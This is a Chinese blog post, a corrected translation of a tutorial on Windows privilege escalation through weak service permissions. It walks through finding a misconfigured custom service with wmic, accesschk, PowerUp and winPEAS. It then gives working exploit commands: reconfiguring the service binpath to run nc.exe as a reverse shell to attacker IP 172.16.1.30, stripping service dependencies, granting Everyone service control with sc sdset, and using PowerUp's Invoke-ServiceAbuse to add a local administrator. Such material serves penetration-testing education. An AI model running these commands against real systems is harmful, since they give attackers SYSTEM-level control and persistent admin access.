Windows 提权-服务_弱服务权限

本文通过 Google 翻译 Weak Service Permissions – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航


0、前言

在这篇文章中,我们将介绍如何利用服务的弱权限。首先,我们将发现一个非标准的服务正在运行,而该服务对于系统中的标准用户又有着太多的访问权限。然后,又发现该服务存在错误配置,而错误配置又允许我们修改服务的启动程序路径使其指向恶意程序。最后,我们重启服务并获得 SYSTEM shell。

此外,我们还将看到如何使用工具来轻松找到这种服务的错误配置,甚至为我们提供漏洞利用。

1、搜寻非标准服务

在此示例中,假设我们作为标准用户 cmarko 已在目标机器上获得了立足点。

为了查找弱服务,我们必须先查看系统上正在运行的服务有哪些。

1.1、cmd

首先,使用 wmic 命令查看系统上运行的所有服务:

wmic service get name,displayname,pathname,startmode

从输出结果中可以看到,这里运行着大量的系统服务,而这些服务大多数都是从 C:\Windows\System32 执行的,而标准用户通常对 C:\Windows\* 中的任何内容都没有权限,因此我们需要过滤掉所有的系统服务。【而且,系统服务在默认情况下也不会出现错误配置的问题。】

而我们最感兴趣的是非标准服务,因此可以使用以下命令来缩小搜索范围,以排除系统服务:

wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\"

很快!这个自定义的“Juggernaut”服务便引起了我们的注意。

1.2、powershell

要执行与 wmic 命令等效的 PowerShell 命令,我们可以使用 Get-WmiObject cmdlet,就像这样:

Get-WmiObject -class Win32_Service -Property Name,DisplayName,PathName,StartMode | Where {$_.PathName -notlike "C:\Windows\*"} | Select PathName,DisplayName,Name

2、搜寻服务的弱权限

找到有趣的服务后,我们想深入了解服务本身的权限,看看是否有可利用的机会。

2.1、枚举服务的弱权限:手动

我们可以使用 sc 命令来枚举服务权限,但是它输出的结果让人很难理解。例如:

sc sdshow Juggernaut

注:也可以通过 sc sdset Juggernaut D:(A;;CCDCLCSWRPWPDTLORC;;WD) 去授予 Eyeryone 用户管理 Juggernaut 服务的权限。

而上面的输出其实已经告诉了我们有关服务权限的所有信息,只是需要配合下面的图表来解读。

根据图表,我们可以看到,首先显示的是权限,其次是三个分号,然后是组/用户。而我们最感兴趣组/用户描述符是:AU、BA、WD。

在上面的输出中,我们可以看到 Everyone (WD) 组的权限【即 (A;;CC DC LC SW RP WP DT LO RC;;WD)】。如果将其细分,可以看到 Everyone 组拥有 DC (SERVICE_CHANGE_CONFIG) 权限,而这正是我们利用这项服务所必需的权限。同时还看到 Everyone 组拥有 RP/WP 权限,这意味着当前用户可以停止/启动这项服务。这对我们来说很关键,因为从之前的列举得知这是一个需要手动启动的服务,也就意味着我们不能通过重启机器来强制启动服务。

2.2、枚举服务的弱权限:工具

有很多工具可以用来枚举服务权限,但在本例中,我们只介绍其中四款工具:Accesschk、SetACL、PowerUp、winPEAS。

在将工具转移到受害者身上之前,有一点需要牢记,那就是我们应该确定其系统架构,以便知道是使用 32 位还是 64 位的工具。

systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

在这里,我们可以看到受害者运行的是 64 位操作系统的 Windows 10 Pro - Build 17134(version 1803)。

2.2.1、Accesschk

首先,我们使用 Sysinternals 工具套件中的 accesschk64.exe 来枚举发现的 Juggernaut 服务的权限。

将 Accesschk64.exe 的副本下载并传输到受害者机器上。

然后,使用以下命令来查看服务权限:

.\accesschk64.exe -wuvc Juggernaut -accepteula

在这里,我们可以看到 Everyone 具有 SERVICE_CHANGE_CONFIG 权限,这意味着任何用户都可以修改该服务!

除了 SERVICE_CHANGE_CONFIG 权限以外,允许修改服务的另一个权限标识是 SERVICE_ALL_ACCESS,而这个权限又代表着对服务的完全控制权

另外,我们不光可以用 accesschk 来查看服务权限,也可以使用它来查找服务,并一次性找到各自的服务权限。我们将在本篇的3.1小节中进一步了解它的其它功能。

2.2.2、SetACL

一款名为 SetACL.exe 的工具也非常实用,可以用它来查找任何对象(服务、注册表键值、文件、目录等)的 ACL 权限。

将 SetACL.exe 工具的副本下载并传输到受害者机器上。

然后,使用以下命令来查看服务的权限:

.\SetACL64.exe -on "Juggernaut" -ot srv -actn list

从上面输出的结果可以看到,该工具进行的很多检查都需要管理员权限才能开始,但只是简单地枚举权限,是不需要管理员权限就可以使用的。

3、工具搜寻弱服务

刚刚我们介绍了如何使用工具去查找非标准服务,以及在找到非标准服务之后该如何枚举其权限。

接下来,我们将了解如何使用工具来同时完成这两个步骤。

3.1、Accesschk

利用 accesschk 的另一种方法是枚举所有服务,同时检查特定组的权限。例如,标准用户默认属于多个组,我们可以枚举这些组,查看其中是否有任何组在任何服务上有写入权限。

我们感兴趣的用户/组如下:

  • 当前登录用户,如 bob。(%USERNAME%)
  • Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
  • Everyone
  • BUILTIN\Users
  • NT AUTHORITY\INTERACTIVE

使用 accesschk 时,我们要先检查当前用户,因为当前用户可能默认属于这些组中的大多数。【注:其实只要检查当前用户就可以了,因为检查其它组的最终目的还是为了知道当前用户在不在这个组中。】

可以使用以下命令查找当前用户或任何用户可写入的任何服务:

.\accesschk64.exe "%USERNAME%" -wuvc * -accepteula

.\accesschk64.exe "Everyone" -wuvc * -accepteula

.\accesschk64.exe "Authenticated Users" -wuvc * -accepteula

.\accesschk64.exe "BUILTIN\Users" -wuvc * -accepteula

.\accesschk64.exe "NT AUTHORITY\INTERACTIVE" -wuvc * -accepteula

如上图所示,仅一条命令,我们就发现当前用户拥有对 Juggernaut 服务的写入权限,同时一次性找到了它的所有权限!

接下来,我们再看另外几款自动化工具,它们将为我们完成所有这些工作。

了解工具的工作原理非常重要,这就是为什么我总是先教手工方法,然后再演示如何使用工具。

3.2、PowerUp/winPEAS

有很多好用的后利用工具可以使用,但在本例中,我们将使用 PowerUp.ps1winPEASx64.exe

下载每个工具的副本后,将其传输到受害者机器上。

工具1】:我们先使用 PowerUp.ps1 脚本,因为它的输出精简可能会使我们更快取得胜利。就像这样:

. .\PowerUp.ps1
Invoke-AllChecks

在这里,我们可以看到 PowerUp 正在查找易受攻击的服务,并发现了 Juggernaut 服务的权限较弱。

此外,PowerUp.ps1 还有内置的函数(AbuseFunction),可用来利用PowerUp 所发现的大多数错误配置或者特殊权限。【注:滥用功能将在第6节展示。】

工具2】:接下来我们使用 winPEAS 工具,虽然 winPEAS 的输出内容很多,但我们只需关注 Services InformationModifiable Services 部分的信息即可。

4、利用服务的弱权限

现在,我们已经了解了寻找非标准服务和枚举服务权限的多种方法,接下来,就需要详细查询服务本身的设置信息,以了解需要做哪些更改。然后修改服务,使其在启动时执行我们指定的二进制文件,而不是预定的二进制文件。最后,我们将重启服务并获得 SYSTEM shell。

4.1、收集服务信息

我们最感兴趣的服务信息是:启动类型、启动身份、启动程序路径。而这些信息可以通过 cmd.exe 中的 sc 命令或 PowerShell 中的 Get-Service cmdlet 或注册表来查找。

示例如下:

reg query "HKLM\System\CurrentControlSet\Services\Juggernaut"

sc qc Juggernaut

Get-WmiObject win32_service | ?{$_.Name -like 'Juggernaut'} | select Name, DisplayName, StartMode, State, PathName, StartName

上面这三条命令都返回了相同的关键信息:StartMode、PathName、StartName。

可以看到 StartName 显示的是 LocalSystem,这意味着该服务是以 SYSTEM 的身份执行的。而如果 StartName 显示的不是 LocalSystem,那我们就需要修改该字段为此值,以确保该服务就是以 SYSTEM 的身份执行的。

4.2、修改服务启动程序路径 - POC

关于 binpath 的有趣之处在于,我们可以往其中放入一条命令来执行,而这也为我们在启动服务时利用它来生成反向 shell 提供了机会。

让我们从 POC 开始,使用以下命令编辑 binpath 来 ping 攻击者的机器:

sc config Juggernaut binpath= "ping 172.16.1.30"

注意:binpath=后面的空格必须要存在。

现在,我们回到攻击者的机器上,启动 tcpdump 以捕获 ICMP 请求。

tcpdump -i eth0 icmp

在 tcpdump 启动之后,回到受害者机器启动服务:

sc start Juggernaut
::或 net start "Juggernaut"

或:

Start-Service Juggernaut

当启动服务后,会发现我们当前的 shell 被挂了起来。再次回到攻击机,我们看到 tcpdump 捕获到了 ICMP 请求包!

Crazy!这意味着服务运行了我们指定的命令。

4.3、修改服务启动程序路径 - EXP

接下来,我们要做的就是将 binpath 修改为恶意程序的路径。为此,可以使用 msfvenom 制作一个恶意程序,然后修改服务的 binpath 以执行我们的程序,而不是实际的服务程序。不过,本节我们打算换个思路,使用 netcat 去获得 SYSTEM shell。

首先将 nc.exe 的副本下载并传输到受害者机器上。

Kali在 /usr/usr/share/windows-resources/binaries/directory 目录中拥有 nc.exe 的副本。

然后使用以下命令来修改 BinPath:

sc config Juggernaut binPath= "C:\temp\nc.exe 172.16.1.30 443 -e C:\windows\system32\cmd.exe"

最后就是在攻击机的 443 端口上启动 netcat 监听器,然后启动服务。

sc start Juggernaut

当 shell 被挂起的时候,说明服务程序已经运行起来了。

回到监听器,可以看到已经收到了 SYSTEM shell!不过,我们会发现,当服务“失败”时,这个 shell 很快就会掉线。而为了避免这个问题,我们需要在攻击者的机器上启动第二个 netcat 监听器,然后使用类似的命令向第二个监听器快速推送第二个 shell。

这次,在第二个监听器中,我们获得了稳定的 SYSTEM shell!

5、注意事项

通常,我们可以像上面那样用标准用户去修改服务,但有时,可能还需要一些额外的修改才能使漏洞发挥作用。

例如,假设我们有能力修改 upnphost 服务,但当我们查询该服务时,却发现它有依赖关系,而这种关系又会导致我们的服务程序不能被触发运行。

这就意味着我们还需要对其它一些配置进行更改。

首先,还是像以前那样更改 binpath :

sc config upnphost binPath= "C:\temp\nc.exe 172.16.1.30 443 -e C:\windows\system32\cmd.exe"

然后,我们需要删除依赖关系,并更改服务启动身份为 LocalSystem:

sc config upnphost depend= ""
sc config upnphost obj= ".\LocalSystem" password= ""

最后,就像以前一样,启动监听器,重启服务,获得 SYSTEM shell!

6、滥用 PowerUp.ps1 功能

3.2小节的时候,当使用 PowerUp.ps1 枚举服务时,它显示了以下 AbuseFunction 提示,现在我们可以使用它来利用这个漏洞。

使用此 AbuseFunction 将创建一个恶意程序,该程序会创建一个新用户,并将该用户归入管理员组。

Invoke-ServiceAbuse -ServiceName 'Juggernaut'

当滥用命令执行之后,当我们检查服务时,发现它没有更改 binpath?

但如果我们使用 net user 命令和 net localgroup administrators 命令时,会发现该用户已经创建并添加到了本地管理员组!

原来,PowerUp 在修改完 binpath 并重新启动服务创建本地管理员用户之后,又将 binpath 自动恢复到了原来的默认路径!

这时候,如果受害者机器上的 RDP 服务是打开状态,那我们就可以使用 xfreerdp 轻松 RDP 登录,然后 “以管理员身份运行” cmd.exe,进入具有完全权限的高完整性 shell。

sudo xfreerdp /u:john /p:'Password123!' /v:172.16.1.50 +clipboard

但是,如果目标没有打开 RDP 服务。此时,我们就需要通过 RunasUAC-bypass 技术来获取管理员高完整性 shell。

posted @ 2025-03-18 18:51  扛枪的书生  阅读(413)  评论(0)    收藏  举报